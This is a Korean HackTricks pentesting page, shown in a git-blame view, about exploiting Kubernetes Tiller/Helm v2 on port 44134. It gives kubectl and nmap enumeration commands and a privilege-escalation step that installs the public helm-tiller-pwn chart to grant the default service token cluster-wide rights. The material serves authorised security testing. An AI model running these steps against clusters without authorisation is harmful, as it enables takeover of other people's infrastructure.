hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

111 lines
7.2 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 21:30:13 +00:00
# 기본 정보
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
Helm은 Kubernetes의 **패키지 매니저**입니다. YAML 파일을 패키지화하여 공개 및 비공개 저장소에서 배포할 수 있습니다. 이러한 패키지를 **Helm Charts**라고 합니다. **Tiller**는 기본적으로 포트 44134에서 실행되는 **서비스**입니다.
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
**기본 포트:** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2024-02-10 21:30:13 +00:00
# 열거
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
만약 다른 네임스페이스의 팟과/또는 서비스를 **열거할 수 있다면**, 열거하고 그 중에서 **이름에 "tiller"이 포함된 것**을 찾으세요:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
2024-02-10 21:30:13 +00:00
예시:
## Tiller and Helm
### Tiller
Tiller은 Kubernetes 클러스터 내에서 Helm 차트를 설치하고 관리하는 데 사용되는 서버 구성 요소입니다. Tiller는 클라이언트 요청을 받아들이고 클러스터 내에서 차트를 릴리스하고 업데이트하는 역할을 합니다.
Tiller는 기본적으로 권한 부여되지 않은 상태로 설치되며, 클러스터 내에서 실행되는 모든 작업에 대한 권한을 가지게 됩니다. 이는 잠재적으로 보안 위험을 초래할 수 있습니다.
### Helm
Helm은 Kubernetes 애플리케이션을 패키징하고 배포하기 위한 패키지 관리자입니다. Helm은 차트라는 패키지 형식을 사용하여 애플리케이션을 설치하고 업그레이드하며, 이를 통해 애플리케이션의 배포를 자동화할 수 있습니다.
Helm은 Tiller와 함께 사용되며, Tiller를 통해 클러스터 내에서 차트를 관리합니다. 따라서 Tiller의 보안 취약점은 Helm을 통해 악용될 수 있습니다.
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
### Tiller and Helm Pentesting
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
Tiller와 Helm은 Kubernetes 환경에서 중요한 역할을 수행하므로, 이들의 보안 취약점을 식별하고 테스트하는 것은 중요합니다. Tiller와 Helm을 펜테스팅하기 위해 다음과 같은 기법을 사용할 수 있습니다:
- Tiller 서버의 취약한 버전 식별
- Tiller 서버의 권한 상승 공격
- Tiller 서버의 인증 및 권한 부여 구성 검사
- Tiller 서버의 릴리스 정보 노출 검사
- Tiller 서버의 릴리스 업데이트 및 삭제 공격
- Helm 클라이언트의 구성 파일 분석 및 악용
이러한 기법을 사용하여 Tiller와 Helm의 보안 취약점을 식별하고, 적절한 보안 조치를 취할 수 있습니다.
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
2024-02-10 21:30:13 +00:00
이 서비스를 찾기 위해 44134 포트를 확인해 볼 수도 있습니다:
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
2024-02-10 21:30:13 +00:00
발견한 후에는 클라이언트 helm 애플리케이션을 다운로드하여 통신할 수 있습니다. `homebrew`와 같은 도구를 사용하거나 [**공식 릴리스 페이지**](https://github.com/helm/helm/releases)**를** 참조할 수 있습니다. 자세한 내용이나 다른 옵션은 [설치 가이드](https://v2.helm.sh/docs/using\_helm/#installing-helm)를 참조하십시오.
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
그런 다음, **서비스를 열거**할 수 있습니다:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
2024-02-10 21:30:13 +00:00
## 권한 상승
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
기본적으로 **Helm2**는 **kube-system** 네임스페이스에 **높은 권한**으로 설치되어 있으므로, 서비스를 찾고 액세스할 수 있다면 이를 통해 **권한을 상승**할 수 있습니다.
2021-12-29 12:26:06 +00:00
2024-02-10 21:30:13 +00:00
해당 패키지를 설치하기만 하면 됩니다: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn). 이 패키지는 **기본 서비스 토큰이 클러스터 전체에 대한 액세스 권한을 갖게** 해줍니다.
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
2024-02-10 21:30:13 +00:00
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)에서는 **공격에 대한 설명**을 확인할 수 있습니다. 기본적으로, _helm-tiller-pwn/pwnchart/templates/_ 폴더 안의 [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) 및 [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) 파일을 읽으면 **모든 권한이 기본 토큰에게 부여되는 것을 확인할 수 있습니다**.
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
2022-04-28 16:01:33 +00:00
</details>